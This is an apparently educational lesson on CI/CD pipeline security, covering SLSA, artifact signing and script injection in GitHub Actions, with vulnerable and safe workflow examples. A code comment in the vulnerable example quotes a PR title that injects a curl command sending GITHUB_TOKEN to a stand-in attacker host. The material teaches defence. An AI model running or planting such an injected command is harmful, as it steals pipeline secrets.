Secure CI/CD Pipelines

Pipeline security is the practice of treating the CI/CD system itself as an attack surface — identifying the ways an adversary could compromise the pipeline to steal credentials, tamper with build outputs, inject malicious code into artifacts, or gain access to production environments. A pipeline that builds and deploys software has privileged access to source code, secrets, cloud infrastructure, and production systems. Compromising it is more valuable to an attacker than compromising a single application, because a pipeline breach can propagate silently across every service it touches.

The Pipeline Attack Surface

A CI/CD pipeline has a larger attack surface than most teams realise. It is not just the workflow YAML — it is every component the pipeline depends on and every system it has access to. Understanding the attack surface is the prerequisite for hardening it.

Supply Chain Security — SLSA and Artifact Signing

SLSA (Supply-chain Levels for Software Artifacts, pronounced "salsa") is a security framework that defines a set of levels describing how trustworthy a build process is. At SLSA Level 1, builds are scripted. At Level 2, builds are hosted and produce provenance — a signed record of what was built, from what source, by what process. At Level 3, the build environment itself is hardened against tampering. Most organisations begin targeting SLSA Level 2 by enabling GitHub's artifact attestation features.

Artifact signing is the practice of cryptographically signing a build artifact so that downstream consumers — deployment pipelines, container orchestrators — can verify that the artifact was produced by the expected pipeline from the expected source, and has not been tampered with since. Sigstore's cosign tool is the most widely adopted open-source signing solution for container images, integrated natively into GitHub Actions and supported by Kubernetes admission controllers that can enforce signature verification before any image runs in a cluster.

Script Injection — The Most Common Pipeline Vulnerability

Script injection occurs when untrusted, user-controlled data is interpolated directly into a shell command that runs on the CI runner. In GitHub Actions, the most common vector is using ${{ github.event.pull_request.title }} or similar context values directly inside a run: block. An attacker submits a PR with a title containing shell metacharacters or commands, and those commands execute on the runner with access to all secrets available to that job.

# VULNERABLE — direct interpolation of untrusted input into shell
- name: Print PR title
  run: |
    echo "PR title: ${{ github.event.pull_request.title }}"
    # An attacker submits a PR titled: "; curl attacker.com/steal?token=$GITHUB_TOKEN"
    # That command executes on the runner, exfiltrating the token

# SAFE — pass untrusted input as an environment variable
- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}   # Interpolated into env, not shell
  run: |
    echo "PR title: $PR_TITLE"
    # The shell reads $PR_TITLE as a value — special characters are not interpreted as commands

# ALSO SAFE — use an action instead of inline shell for untrusted data
- name: Validate PR title
  uses: actions/github-script@v7
  with:
    script: |
      const title = context.payload.pull_request.title;   // JavaScript string, not shell
      console.log(`PR title: ${title}`);

Pipeline Security Hardening — Practical Controls

Securing a pipeline is not a single action — it is a layered set of controls applied across the workflow definition, the runner configuration, the artifact store, and the deployment path. The most impactful controls, in order of effort-to-benefit ratio, are the following.

Practice Questions

Answer in your own words — then check against the expected answer.

Lesson Quiz